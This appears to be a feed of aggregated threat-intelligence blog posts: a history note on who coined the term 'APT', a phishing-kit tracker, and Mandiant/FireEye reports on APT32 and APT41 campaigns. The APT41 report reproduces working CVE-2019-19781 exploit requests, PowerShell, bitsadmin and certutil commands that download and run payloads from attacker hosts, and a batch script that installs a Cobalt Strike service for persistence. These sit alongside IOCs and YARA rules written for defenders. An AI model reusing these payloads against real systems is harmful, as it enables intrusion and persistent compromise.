One of the last duties I had in uniform was to travel to Nellis AFB outside Las Vegas and participate in a doctrine writing project for information warfare. At the time I was not a fan of the idea, but Col Rattray convinced me someone needed to write down how we did computer network defense in the AFCERT. 

He didn't order me to participate, which I always appreciated. Years later I told him it was a good idea to organize that project and that I was probably just grumpy because of the way the Air Force personnel system had treated me at the end of my military career.

Why The Tweet Matters


For years I've had to dance around the issue of who invented the term "APT." In most narratives I say that an Air Force colonel invented the term in 2006. I based this on discussions I had with colleagues in the defense industrial base who were working with said colonel and his team from the Air Force. I did not know back then that it was Col Rattray and his team from the Air Force Information Warfare Center. 

Years later I learned of Rattray's role, but not directly from him. Only this year did Col Rattray confirm to me that he had invented the term, and that 2007 was the correct year. I encouraged him to say something, because as an historian I appreciate the value of facts and narrative. As I Tweeted after seeing Greg's Tweet:

"Security, like any other field, has HISTORY, which means there are beginnings, and stories, and discoveries, and innovators, and leaders, and first steps, and pioneers. I'm so pleased to see people like @GregRattray_ feel comfortable enough after all these years to say something."

I don't think many people in the security field think about history. Security tends to be obsessed with the "new" and the "shiny." Not enough people wonder how we got to this point, or what decisions led to the current situation. The security scene in 2020 is very different from the scene in 1960, or 1970, or 1980, or 1990, or 2000, or even 2010. This is not the time to describe how or why that is the case. I'm just glad a very important piece of the puzzle is now public.

More on the APT



If you'd like to learn more about this history of the APT, check out my newest book -- The Best of TaoSecurity Blog, Volume 2. I devote an entire chapter to blog posts and new commentary on the APT. Volume 1 arrived a few months before this new book, and I'm working on Volume 3 now.

File Integrity Monitoring (FIM): Your Friendly Network Detective Control

Lateral movement is one of the most consequential types of network activity for which organizations need to be on the lookout. After arriving at the network, the attacker keeps ongoing access by essentially stirring through the compromised environment and obtaining increased privileges (known as “escalation of privileges”) using various tools and techniques. Attackers then use […]… Read More

The post File Integrity Monitoring (FIM): Your Friendly Network Detective Control appeared first on The State of Security.

Tracking PhishingKits for Hunting APT Evolution

Advanced and Persistent Threats are often inoculated by emails or by exploiting exposed vulnerabilities. Since vulnerability exploitation follows specific waves, it depends on vulnerability trends, the email vector become one of the most (ab)used and stable way to inoculate Malicious and unwanted software. A common way to attack victims is to make her open an eMail attachment using common social engineering techniques. For example attackers pretending to be candidate asking to HR manager to open up the “attached curriculum”, or a customer that is asking for special products or information included on a well-crafted Word document, or again attackers pretending to be friends asking for favors, or new customers asking for price lists in a malicious and attached Microsoft Excel, are only some of the (almost) infinite ways to make someone opening an attachment.

But something is slowly changing.

While Phishing was quite underestimated (so far) from Malware analysts working on state sponsored cyber attacks, since Phishing was mostly a used technique to steal credentials by criminal groups, nowadays it is increasingly used from state sponsored attackers to spread Malware (for example Android APP) and to steal credentials to start over a pre-failed attack gaining wider victim surface. Many researcher groups already noticed that slow moving from email attachments to phishing campaign, for example CheckPoint researchers in their great report on Rampant Kitten (rif: HERE) show in section “Infrastructure and Connection” (Figure 9) a nice Phishing infrastructure and the FBI in ME-000134-MW warns about both phishing and eMail attachments as well. But those are only some of many example you can find out there by reading reports and analyses from common researcher groups.

For such a reasons I believe phishing, and mostly important PhishingKits need to be studied and tracked even by cyber security analysts who dedicated their own effort on APT rather on criminality. Just to provide some information about how to track phishingkit I would share some of my tweets on the topic just to show how different they are from each other and how complex they could be.

If you agree with me that PhishingKit would play a nice role in the next few years even in the APT world and if you want to help community to analyze and to report them as quickly as you can, you might decide to start from HERE: a freshly updated repository of PhishingKit. In there you would find more than 600 archives (as today, but every day that number would increase as soon as new PK are detected by my backend system which is running and pushing on git repo) containing source code of many PhishingKits, some of them used in APT, some other used in common credential stealing campaign. You would learn how they evade detection (it’s unbelievable how some criminal implements anti-detection code 😀 ) how they call themselves and how they write codes and how administrator panels look like. If you start a deep analysis on that data you would probably be able to group by author and later on, by clustering on such results, you would be able to wrap and track author style and change over the time. That would be super interesting to track the evolution and to being in control of PK to community to gain a safer digital space.

If you think this work is worth of spreading, please go ahead, and if you use that collections and the scripts in the repository for your research, please cite it using the following BiBText section.

@misc{ MR,
       author = "Marco Ramilli",
       title = "Phishing Kits Tracker",
       year = "2020",
       url = "https://marcoramilli.com/2020/07/13/introducing-phishingkittracker/",
       note = "[Online; July 2020]"
     }

Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage

From at least January to April 2020, suspected Vietnamese actors APT32 carried out intrusion campaigns against Chinese targets that Mandiant Threat Intelligence believes was designed to collect intelligence on the COVID-19 crisis. Spear phishing messages were sent by the actor to China's Ministry of Emergency Management as well as the government of Wuhan province, where COVID-19 was first identified. While targeting of East Asia is consistent with the activity we’ve previously reported on APT32, this incident, and other publicly reported intrusions, are part of a global increase in cyber espionage related to the crisis, carried out by states desperately seeking solutions and nonpublic information.

Phishing Emails with Tracking Links Target Chinese Government

The first known instance of this campaign was on Jan. 6, 2020, when APT32 sent an email with an embedded tracking link (Figure 1) to China's Ministry of Emergency Management using the sender address lijianxiang1870@163[.]com and the subject 第一期办公设备招标结果报告 (translation: Report on the first quarter results of office equipment bids). The embedded link contained the victim's email address and code to report back to the actors if the email was opened.


Figure 1: Phishing email to China's Ministry of Emergency Management

Mandiant Threat Intelligence uncovered additional tracking URLs that revealed targets in China's Wuhan government and an email account also associated with the Ministry of Emergency Management.

  • libjs.inquirerjs[.]com/script/<VICTIM>@wuhan.gov.cn.png
  • libjs.inquirerjs[.]com/script/<VICTIM>@chinasafety.gov.cn.png
  • m.topiccore[.]com/script/<VICTIM>@chinasafety.gov.cn.png
  • m.topiccore[.]com/script/<VICTIM>@wuhan.gov.cn.png
  • libjs.inquirerjs[.]com/script/<VICTIM>@126.com.png

The libjs.inquirerjs[.]com domain was used in December as a command and control domain for a METALJACK phishing campaign likely targeting Southeast Asian countries.

Additional METALJACK Activity Suggests Campaigns Targeting Mandarin Speakers Interested in COVID-19

APT32 likely used COVID-19-themed malicious attachments against Chinese speaking targets. While we have not uncovered the full execution chain, we uncovered a METALJACK loader displaying a Chinese-Language titled COVID-19 decoy document while launching its payload.

When the METALJACK loader, krpt.dll (MD5: d739f10933c11bd6bd9677f91893986c) is loaded, the export "_force_link_krpt" is likely called. The loader executes one of its embedded resources, a COVID-themed RTF file, displaying the content to the victim and saving the document to %TEMP%.

The decoy document (Figure 2) titled 冠状病毒实时更新:中国正在追踪来自湖北的旅行者, MD5: c5b98b77810c5619d20b71791b820529 (Translation: COVID-19 live updates: China is currently tracking all travelers coming from Hubei Province) displays a copy of a New York Times article to the victim.


Figure 2: COVID-themed decoy document

The malware also loads shellcode in an additional resource, MD5: a4808a329b071a1a37b8d03b1305b0cb, which contains the METALJACK payload. The shellcode performs a system survey to collect the victim's computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com. It then attempts to call out to the URL. If the callout is successful, the malware loads the METALJACK payload into memory.

It then uses vitlescaux[.]com for command and control.

Outlook

The COVID-19 crisis poses an intense, existential concern to governments, and the current air of distrust is amplifying uncertainties, encouraging intelligence collection on a scale that rivals armed conflict. National, state or provincial, and local governments, as well as non-government organizations and international organizations, are being targeted, as seen in reports. Medical research has been targeted as well, according to public statements by a Deputy Assistant Director of the FBI. Until this crisis ends, we anticipate related cyber espionage will continue to intensify globally.

Indicators

Type

Indicators

Domains

m.topiccore[.]com

jcdn.jsoid[.]com

libjs.inquirerjs[.]com

vitlescaux[.]com

Email Address

lijianxiang1870@163[.]com

Files

MD5: d739f10933c11bd6bd9677f91893986c

METALJACK loader

MD5: a4808a329b071a1a37b8d03b1305b0cb

METALJACK Payload

MD5: c5b98b77810c5619d20b71791b820529

Decoy Document (Not Malicious)

Detecting the Techniques

Platform

Signature Name

Endpoint Security

Generic.mg.d739f10933c11bd6

Network Security

Trojan.Apost.FEC2, Trojan.Apost.FEC3, fe_ml_heuristic

Email Security

Trojan.Apost.FEC2, Trojan.Apost.FEC3, fe_ml_heuristic

Helix

 

Mandiant Security Validation Actions

  • A150-096 - Malicious File Transfer - APT32, METALJACK, Download
  • A150-119 - Protected Theater - APT32, METALJACK Execution
  • A150-104 - Phishing Email - Malicious Attachment, APT32, Contact Information Lure

MITRE ATT&CK Technique Mapping

Tactic

Techniques

Initial Access

Spearphishing Attachment (T1193), Spearphising Link (T1192)

Execution

Regsvr32 (T1117), User Execution (T1204)

Defense Evasion

Regsvr32 (T1117)

Command and Control

Standard Cryptographic Protocol (T1032), Custom Command and Control Protocol (T1094)

This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits

Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers. Countries we’ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA. The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It’s unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature.

Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC])

Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).


Figure 1: Timeline of key events

The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. First, it would confirm whether the system was vulnerable and the mitigation wasn’t applied. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.  

One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.

POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: [redacted]
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/[redacted]
Content-Length: 96

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `file /bin/pwd`') %]

Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781

There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by Chinese APT groups in past years as well.

Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor).

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 147
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd`') %]

Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781

We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and February 25. The exploit behavior was almost identical to the activity on February 1, where only the name of the payload ‘un’ changed.

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 145
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title= [redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un`') %]

Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781

Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.

Cisco Router Exploitation

On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific exploit was used, but there is a Metasploit module that combines two CVE’s (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload.

GET /test/fuc
HTTP/1.1
Host: 66.42.98\.220
User-Agent: Wget
Connection: close

Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget

66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) is ‘cat /etc/flash/etc/nk_sysconfig’, which is the command one would execute on a Cisco RV320 router to display the current configuration.

Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action:

Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability)

On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload “logger.zip”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.

java/lang/Runtime

getRuntime

()Ljava/lang/Runtime;

Xcmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/install.bat','C:\
Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/storesyncsvc.dll','
C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\Temp\install.bat

'(Ljava/lang/String;)Ljava/lang/Process;

StackMapTable

ysoserial/Pwner76328858520609

Lysoserial/Pwner76328858520609;

Figure 6: Contents of logger.zip

Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation.

In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345.

Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe

Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat C:\Users\Public\install.bat

Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation

In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).

@echo off

set "WORK_DIR=C:\Windows\System32"

set "DLL_NAME=storesyncsvc.dll"

set "SERVICE_NAME=StorSyncSvc"

set "DISPLAY_NAME=Storage Sync Service"

set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly."

 sc stop %SERVICE_NAME%

sc delete %SERVICE_NAME%

mkdir %WORK_DIR%

copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f

sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error= ignore DisplayName= "%DISPLAY_NAME%"

SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000

sc description "%SERVICE_NAME%" "%DESCRIPTION%"

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f

net start "%SERVICE_NAME%"

Figure 8: Contents of install.bat

Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile.

GET /jquery-3.3.1.min.js HTTP/1.1
Host: cdn.bootcss.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://cdn.bootcss.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM
DA8y_rXEJQGZ6Xlkp_wCoqnImD-bj4DqdTNbj87Rl1kIvZbefE3nmNunlyMJZTrDZfu4EV6oxB8yKMJfLXydC5YF9OeZwqBSs3Tun12BVFWLI
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive Cache-Control: no-cache

Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request

Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we’ve observed APT41 use in past intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit.

GET /2.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.3
Host: 91.208.184[.]78

Figure 10: Example HTTP request downloading ‘2.exe’ VMProtected Meterpreter downloader via CertUtil

certutil  -urlcache -split -f http://91.208.184[.]78/2.exe

Figure 11: Example CertUtil command to download ‘2.exe’ VMProtected Meterpreter downloader

The Meterpreter downloader ‘TzGG’ was configured to communicate with 91.208.184[.]78 over port 443 to download the shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).

GET /TzGG HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Host: 91.208.184[.]78:443
Connection: Keep-Alive
Cache-Control: no-cache

Figure 12: Example HTTP request downloading ‘TzGG’ shellcode for Cobalt Strike BEACON

The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.]78. We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems.

ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix.

Outlook

This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years. While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41.

It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.

Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain.

Indicators

Type

Indicator(s)

CVE-2019-19781 Exploitation (Citrix Application Delivery Control)

66.42.98[.]220

CVE-2019-19781 exploitation attempts with a payload of ‘file /bin/pwd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/bsd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un’

/tmp/bsd

/tmp/un

Cisco Router Exploitation

66.42.98\.220

‘1.txt’ (MD5:  c0c467c8e9b2046d7053642cc9bdd57d)

‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc

CVE-2020-10189 (Zoho ManageEngine Desktop Central)

66.42.98[.]220

91.208.184[.]78

74.82.201[.]8

exchange.dumb1[.]com

install.bat (MD5: 7966c2c546b71e800397a67f942858d0)

storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f)

C:\Windows\Temp\storesyncsvc.dll

C:\Windows\Temp\install.bat

2.exe (MD5: 3e856162c36b532925c8226b4ed3481c)

C:\Users\[redacted]\install.bat

TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9)

C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning cmd.exe and/or bitsadmin.exe

Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.]78

PowerShell downloading files with Net.WebClient

Detecting the Techniques

FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.

Platform

Signature Name

Endpoint Security

 

BITSADMIN.EXE MULTISTAGE DOWNLOADER (METHODOLOGY)

CERTUTIL.EXE DOWNLOADER A (UTILITY)

Generic.mg.5909983db4d9023e

Generic.mg.3e856162c36b5329

POWERSHELL DOWNLOADER (METHODOLOGY)

SUSPICIOUS BITSADMIN USAGE B (METHODOLOGY)

SAMWELL (BACKDOOR)

SUSPICIOUS CODE EXECUTION FROM ZOHO MANAGE ENGINE (EXPLOIT)

Network Security

Backdoor.Meterpreter

DTI.Callback

Exploit.CitrixNetScaler

Trojan.METASTAGE

Exploit.ZohoManageEngine.CVE-2020-10198.Pwner

Exploit.ZohoManageEngine.CVE-2020-10198.mdmLogUploader

Helix

CITRIX ADC [Suspicious Commands]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Success]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Payload Access]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning]
 MALWARE METHODOLOGY [Certutil User-Agent]
 WINDOWS METHODOLOGY [BITSadmin Transfer]
 WINDOWS METHODOLOGY [Certutil Downloader]

MITRE ATT&CK Technique Mapping

ATT&CK

Techniques

Initial Access

External Remote Services (T1133), Exploit Public-Facing Application (T1190)

Execution

PowerShell (T1086), Scripting (T1064)

Persistence

New Service (T1050)

 

Privilege Escalation

Exploitation for Privilege Escalation (T1068)

 

Defense Evasion

BITS Jobs (T1197), Process Injection (T1055)

 

 

Command And Control

Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071)

Appendix A: Discovery Rules

The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are tailored to build concise haystacks that are easy to review for high-fidelity detections. Some of these rules are broad in aperture that build larger haystacks for further automation or processing in threat hunting systems.

import "pe"

rule ExportEngine_APT41_Loader_String

{

            meta:

                        author = "@stvemillertime"

                        description "This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as loader_X86_svchost.dll"

            strings:

                        $pcre = /loader_[\x00-\x7F]{1,}\x00/

            condition:

                        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_ShortName

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a single character"

    strings:

        $pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|bin|sys)/

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_xArch

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a something like x32.dat"

            strings:

             $pcre = /[\x00-\x7F]{1,}x(32|64|86)\.dat\x00/

            condition:

             uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule RareEquities_LibTomCrypt

{

    meta:

        author = "@stvemillertime"

        description = "This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors https://github.com/libtom/libtomcrypt - might catch everything BEACON as well. You may want to exclude Golang and UPX packed samples."

    strings:

        $a1 = "LibTomMath"

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $a1

}

rule RareEquities_KCP

{

    meta:

        author = "@stvemillertime"

        description = "This is a wide catchall rule looking for executables with equities for a transport library called KCP, https://github.com/skywind3000/kcp Matches on this rule may have built-in KCP transport ability."

    strings:

        $a01 = "[RO] %ld bytes"

        $a02 = "recv sn=%lu"

        $a03 = "[RI] %d bytes"

        $a04 = "input ack: sn=%lu rtt=%ld rto=%ld"

        $a05 = "input psh: sn=%lu ts=%lu"

        $a06 = "input probe"

        $a07 = "input wins: %lu"

        $a08 = "rcv_nxt=%lu\\n"

        $a09 = "snd(buf=%d, queue=%d)\\n"

        $a10 = "rcv(buf=%d, queue=%d)\\n"

        $a11 = "rcvbuf"

    condition:

        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*)

}

rule ConventionEngine_Term_Users

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "09e4e6fa85b802c46bc121fcaecc5666"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Users[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Term_Desktop

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "71cdba3859ca8bd03c1e996a790c04f9"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Desktop[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Anomaly_MultiPDB_Double

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "013f3bde3f1022b6cf3f2e541d19353c"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #pcre == 2

}

Is APT27 Abusing COVID-19 To Attack People ?!

Scenario

We are living hard time, many countries all around the world are hit by COVID-19 which happened to be a very dangerous disease. Unfortunately many deaths, thousands of infected people, few breathing equipment, stock burned Billion of dollars and a lot of companies are entering into a economic and financial crisis. Governments are doing their best to mitigate such a virus while people are stuck home working remotely using their own equipment.

In that scenario, jackals are luring people using every dirty way to attack their private devices. At home it’s hard to have advanced protection systems as we have in companies. For example it’s hard to have Intrusion Prevention Systems, proxies, advanced threat protection, automated sandbox and again advanced end-point protections letting personal devices more vulnerable to be attacked. In this reality ruthless attackers abuse of this situation to attack digitally unprotected people.

Today many reports are describing how infamous attackers are abusing such an emergency time to lure people by sending thematic email campaign or by using thematic IM within Malware or Phishing links. Following few of them that I believe would be a nice reading:

Today I want to contribute to such a blog-roll analyzing a new spreading variant that hit my observatory. I want to “spoil” the conclusions now, but it’s getting pretty sad if an APT group makes use of its knowledge to take advance from today’s situation.

Stage 1

The first stage is a fake PDF file. It looks like a real PDF, it has a hidden extension and a nice PDF icon, but it really isn’t a PDF, it’s actually a .lnk file, or in other words a “Microsoft Linking File”.

Sha25695489af84596a21b6fcca078ed10746a32e974a84d0daed28cc56e77c38cc5a8
ThreatDropper and Execution
